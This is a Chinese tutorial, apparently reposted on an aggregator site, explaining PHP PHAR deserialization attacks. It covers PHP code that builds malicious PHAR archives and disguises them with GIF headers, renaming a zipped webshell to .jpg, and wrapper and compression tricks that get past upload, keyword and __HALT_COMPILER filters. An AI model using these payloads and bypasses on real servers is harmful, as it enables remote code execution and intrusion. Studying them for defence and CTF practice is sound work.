phar反序列化及绕过

目录

一、什么是phar

phar://伪协议格式:

二、phar结构

1.stub phar:文件标识。

格式为 xxx;

*2、manifest:压缩文件属性等信息,以序列化存

3、contents:压缩文件的内容。

4、signature:签名,放在文件末尾。

生成模板:

三、绕过方式

1.更改文件格式

2.绕过phar关键词检测

3.绕过 __HALT_COMPILER检测

(1)将Phar文件的内容写到压缩包注释中,压缩为zip文件

(2)将生成的Phar文件进行gzip压缩,压缩命令:


学习参考:

初学phar反序列化-CSDN博客

解决 ‘phar.readonly‘ 设置为 ‘On‘ 的问题,轻松构建可写的 phar 文件

一、什么是phar

phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件。

可以把多个php文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

一般使用 文件包含中的,phar://伪协议,读取.phar文件

文件包含之——phar伪协议

phar://伪协议格式:

不管后缀是什么,都会当做压缩包来解压

?file=phar://压缩包/内部文件 

e.g 将一句话木马(shell.php)压缩成压缩包形式(shell.zip),将压缩包后缀改为.jpg(shell.jpg)

?file=phar://shell.jpg/shell.php

PHP>=5.3.0压缩包需要是zip协议压缩,rar不行

二、phar结构

1.stub phar:文件标识。

格式为 xxx<?php xxx; __HALT_COMPILER();?>;

PHP通过stub识别一个文件为phar文件,可以利用这点绕过文件上传检测

例如  放入010editor中有<?php __HALT_COMPILER();?>头部信息

*2、manifest:压缩文件属性等信息,以序列化存

这也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

3、contents:压缩文件的内容。

4、signature:签名,放在文件末尾。

生成模板:

先设置php.ini中phar.readonly = Off,注意要删除“;”分号

#get_phar.php
<?php 
class test{public $name="line";function __destruct(){echo "This is ".$this->name;}
}
$a = new test();
$a->name="Phar";$phar=new phar('phar.phar',0);//后缀名必须为phar
$phar->startBuffering();//开始缓冲 Phar 写操作
$phar->setMetadata($a);//自定义的meta-data存入manifest
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。
$phar->addFromString("test.txt","test");//添加要压缩的文件
$phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

(小皮搭建phar网站)访问get_phar.php,010分析生成的phar.phar

三、绕过方式

1.更改文件格式

一般可以绕过大多数上传检测

利用Phar反序列化的第一步是需要上传Phar文件到服务器,而如果服务端存在防护,就需要更改文件格式。

e.g 要求文件格式只能为gif

$_FILES["file"]["type"]=="image/gif"

PHP通过Stub里的__HALT_COMPILER();来识别这个文件是Phar文件,对于其他无限制。

故 对文件后缀、文件名进行更改,其实质仍然是Phar文件。

示例代码:

<?phpclass Test {public $name;function __construct(){echo "I am".$this->name;}}$a = new Test();$a -> name = "line";$phar = new Phar('GIF.phar');$phar -> startBuffering(); //开始缓冲 Phar 写操作$phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头$phar ->addFromString('test.txt','test'); //要压缩的文件$phar -> setMetadata($a);  //将自定义meta-data存入manifest$phar -> stopBuffering(); //停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

在浏览器上访问此文件生成GIF.phar文件,用010editor查看

分析文件格式 为gif

2.绕过phar关键词检测

Phar反序列化中,一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,此时需要绕过phar关键词检测。

e.g 正则过滤了头为Phar等关键字

if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){die();
}

可使用各种协议来进行绕过

1、使用filter伪协议来进行绕过
php://filter/read=convert.base64-encode/resource=phar://test.phar2、使用bzip2协议来进行绕过
compress.bzip2://phar:///test.phar/test.txt3、使用zlib协议进行绕过
compress.zlib://phar:///home/sx/test.phar/test.txt

3.绕过 __HALT_COMPILER检测

PHP通过__HALT_COMPILER来识别Phar文件,那么出于安全考虑 为了防止Phar反序列化的出现,可能就会对__HALT_COMPILER进行过滤。

e.g 正则过滤__HALT_COMPILER

 if (preg_match("/HALT_COMPILER/i",$Phar){die();
}
(1)将Phar文件的内容写到压缩包注释中,压缩为zip文件
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?>
(2)将生成的Phar文件进行gzip压缩,压缩命令:
gzip test.phar
//gzip 文件名.phar

压缩后同样也可进行反序列化。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857229.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

视频云存储平台LntonCVS国标视频平台功能和应用场景详细介绍

LntonCVS国标视频融合云平台基于先进的端-边-云一体化架构设计&#xff0c;以轻便的部署和灵活多样的功能为特点。该平台不仅支持多种通信协议如GB28181、RTSP、Onvif、海康SDK、Ehome、大华SDK、RTMP推流等&#xff0c;还能兼容各类设备&#xff0c;包括IPC、NVR和监控平台。在…

等保2.0中,如何确保云服务提供商的数据主权合规?

等保2.0&#xff08;网络安全等级保护2.0&#xff09;为了确保云服务提供商的数据主权合规&#xff0c;提出了若干关键措施和要求&#xff0c;主要包括但不限于以下几点&#xff1a; 1. 数据地理位置要求&#xff1a;明确规定云服务提供商必须保证所有基础设施位于中国境内&am…

海外云手机自动化管理,高效省力解决方案

不论是企业还是个人&#xff0c;对于海外社媒的营销都是需要自动化管理的&#xff0c;因为自动化管理不仅省时省力&#xff0c;而且还节约成本&#xff1b; 海外云手机的自动化管理意味着什么&#xff1f;那就是企业无需再投入大量的人力和时间去逐一操作和监控每一台设备。 通…

容器之滚动条窗体演示

代码; #include <gtk-2.0/gtk/gtk.h> #include <glib-2.0/glib.h> #include <gtk-2.0/gdk/gdkkeysyms.h> #include <stdio.h>int main(int argc, char *argv[]) {gtk_init(&argc, &argv);GtkWidget *window;window gtk_window_new(GTK_WINDO…

【经验分享】Ubuntu 24.04 安装搜狗输入法(亲测有效)

【经验分享】Ubuntu 24.04 安装搜狗输入法&#xff08;亲测有效&#xff09; 先用如下Ubuntu22.04的安装方法进行安装 Ubuntu 22.04安装搜狗输入法 发现存在闪屏问题&#xff0c;那解决闪屏问题不就好了。 解决方法如下&#xff1a; 解决方法1 Ubuntu 24.04安装搜狗输入法-解…

20212416 2023-2024-2 《移动平台开发与实践》综合实践

移动平台开放综合实践 1.实验内容2.实验过程2.1 确定基础功能2.2 设计UI界面2.3 编写程序运行代码2.4 在基本功能的基础上丰富功能 3. 代码分析3.1设置按钮的点击事件监听器3.2 比分更新模块3.3 比分存储模块 4. 运行结果5.实践中遇到的问题及解决6.学习感悟与思考参考资料 1.实…

【原创】springboot+mysql员工工资管理系统设计与实现

个人主页&#xff1a;程序猿小小杨 个人简介&#xff1a;从事开发多年&#xff0c;Java、Php、Python、前端开发均有涉猎 博客内容&#xff1a;Java项目实战、项目演示、技术分享 文末有作者名片&#xff0c;希望和大家一起共同进步&#xff0c;你只管努力&#xff0c;剩下的交…

Wilcom PE 威尔克姆绣花软件下载安装;Wilcom PE 广大绣花制版师必备软件!

Wilcom PE这款软件不仅具备强大的设计功能&#xff0c;更在用户体验上下足了功夫&#xff0c;使得刺绣图案的创作变得更为简单、高效。 在Wilcom PE的丰富工具箱中&#xff0c;用户可以发现各种精心设计的工具&#xff0c;它们如同刺绣师手中的魔法棒&#xff0c;将创意变为现…

云邮件推送服务如何配置?有哪些优势特点?

云邮件推送的性能怎么优化&#xff1f;如何选择邮件推送服务&#xff1f; 云邮件推送服务是一种基于云计算的邮件发送解决方案&#xff0c;能够帮助企业和个人高效地发送大规模邮件。AokSend将详细介绍如何配置云邮件推送服务&#xff0c;以便你能够充分利用其优势。 云邮件推…

深度学习500问——Chapter12:网络搭建及训练(3)

文章目录 12.3.5 Caffe有哪些接口 12.4 网络搭建有什么原则 12.4.1 新手原则 12.4.2 深度优先原则 12.4.3 卷积核size一般为奇数 12.4.4 卷积核不是越大越好 12.5 有哪些经典的网络模型值得我们去学习的 12.6 网络训练有哪些技巧 12.6.1 合适的数据集 12.6.2 合适的预…

VMware连接XShell保姆教程

打开虚拟机后进入终端在终端中 1.配置静态IP 在终端中输入 ifconfig回车&#xff0c; 注意这里需要记住这个IP每个电脑的都不一样 在输入ip addr 2.接着输入cd /etc/sysconfig/network-scripts/进入配置网络文件夹 3.通过Vim编辑器编辑内容 vim ifconfig-ens33 进入界面…

《窄门》情不知所起,而一往情深

《窄门》情不知所起&#xff0c;而一往情深 安德烈纪德&#xff08;1869-1951&#xff09;&#xff0c;法国作家。纪德一生著有小说、剧本、论文、散文、日记、书信多种&#xff0c;主要作品有小说《背德者》《窄门》《田园交响曲》《伪币制造者》等&#xff0c;戏剧《康多尔王…

信息学奥赛初赛天天练-31-CSP-J2022基础题-指针、数组、链表、进制转换、深度优先搜索、广度优先搜索、双栈实现队列应用

PDF文档公众号回复关键字:20240621 2022 CSP-J 选择题 单项选择题&#xff08;共15题&#xff0c;每题2分&#xff0c;共计30分&#xff1a;每题有且仅有一个正确选项&#xff09; 3.运行以下代码片段的行为是 ( ) int x 101; int y 201; int * p &x; int * q &y;…

C51与MDK共存版本安装教程

目录 一、安装准备 1.1 新建文件夹 1.2 网盘链接-加Q 667198390 二、 双版本共存安装教程 2.1 安装Keil5 C51 2.2 安装Keil5 MDK 2.3 C51和MDK的共存 2.4 生成许可证 2.5 安装STM32Pack包 一、安装准备 1.1 新建文件夹 如下图&#xff1a; 在合适的网盘里&#xff08…

Java热部署:让应用更新如丝般顺滑,告别繁琐重启!

目录 手动启动热部署 自动启动热部署 参与热部署监控的文件范围配置 关闭热部署 什么是热部署&#xff1f;简单说就是你程序改了&#xff0c;现在要重新启动服务器&#xff0c;嫌麻烦&#xff1f;不用重启&#xff0c;服务器会自己悄悄的把更新后的程序给重新加载一遍&…

全网首测!文生软件平台码上飞CodeFlying,效果炸裂!

前言&#xff1a; 提到AIGC&#xff0c;在大家的印象中应该就是让AI自己生成文字&#xff0c;图片等内容吧。随着今年Sora&#xff0c;Suno的爆火&#xff0c;将AIGC的应用场景又拉到了一个新的高度&#xff0c;为人们带来了更多的遐想。在未来&#xff0c;或许可以用AI来生成…

python学习笔记-10

面向对象编程-下 1.私有化属性 语法&#xff1a;两个下划线开头&#xff0c;声明该属性为私有&#xff0c;不能在类的外部被使用或直接访问。 使用私有化属性的场景&#xff1a; 1.把特定的一个属性隐藏起来&#xff0c;不让类的外部进行直接调用。 2.不让属性的值随意改变。…

微信发布分班查询结果

亲爱的老师们&#xff01;期末考完&#xff0c;新学期就快要来了&#xff0c;还在为分班查询头疼吗&#xff1f;别担心&#xff0c;今天我要和大家分享一个超级实用的小技巧——如何通过微信发布分班查询结果&#xff0c;让家长们和学生们都能掌握新学期的动态&#xff1f; 分…

【C语言】16.动态内存管理

文章目录 1.为什么要有动态内存分配2.malloc和free2.1 malloc2.2 free 3.calloc和realloc3.1 calloc3.2 realloc 4.常见的动态内存的错误4.1 对NULL指针的解引⽤操作4.2 对动态开辟空间的越界访问4.3 对⾮动态开辟内存使⽤free释放4.4 使⽤free释放⼀块动态开辟内存的⼀部分4.5…

初识 GPT-4 和 ChatGPT

文章目录 LLM 概述理解 Transformer 架构及其在 LLM 中的作用解密 GPT 模型的标记化和预测步骤 想象这样⼀个世界&#xff1a;在这个世界里&#xff0c;你可以像和朋友聊天⼀样快速地与计算机交互。那会是怎样的体验&#xff1f;你可以创造出什么样的应用程序&#xff1f;这正是…